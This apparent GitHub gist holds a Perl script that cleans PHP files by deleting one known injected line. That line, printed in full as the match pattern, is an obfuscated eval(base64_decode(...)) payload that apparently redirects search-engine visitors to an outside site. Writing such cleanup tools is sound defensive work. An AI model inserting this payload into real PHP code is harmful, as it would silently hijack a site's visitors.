Skip to content

Instantly share code, notes, and snippets.

@ggl
Created March 20, 2014 11:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ggl/9662128 to your computer and use it in GitHub Desktop.
Save ggl/9662128 to your computer and use it in GitHub Desktop.
PHP malware cleaner
#!/usr/bin/env perl
use strict;
use warnings;
use File::Copy;
use Path::Iterator::Rule;
unless ($ARGV[0]) {
print "usage: $0 <directory>\n";
exit 1;
}
my $code = qq~eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9vcGVjLmxmbGluay5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));~;
my $rule = Path::Iterator::Rule->new;
$rule->name('*.php');
my $next = $rule->iter(@ARGV);
while (defined(my $file = $next->())) {
my $file_clean = $file;
$file_clean =~ s/\.php/\.php.clean/;
open(my $fh, "<", $file) or die "Cannot open file $file: $!";
open(my $fh1, ">", $file_clean) or die "Cannot open file $file: $!";
while (my $line = <$fh>) {
$line =~ s/\Q$code\E//g if ($line =~ /\Q$code\E/);
print $fh1 $line;
}
close($fh);
close($fh1);
File::Copy::move($file_clean, $file) or die "Cannot overwrite file $file: $!";
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment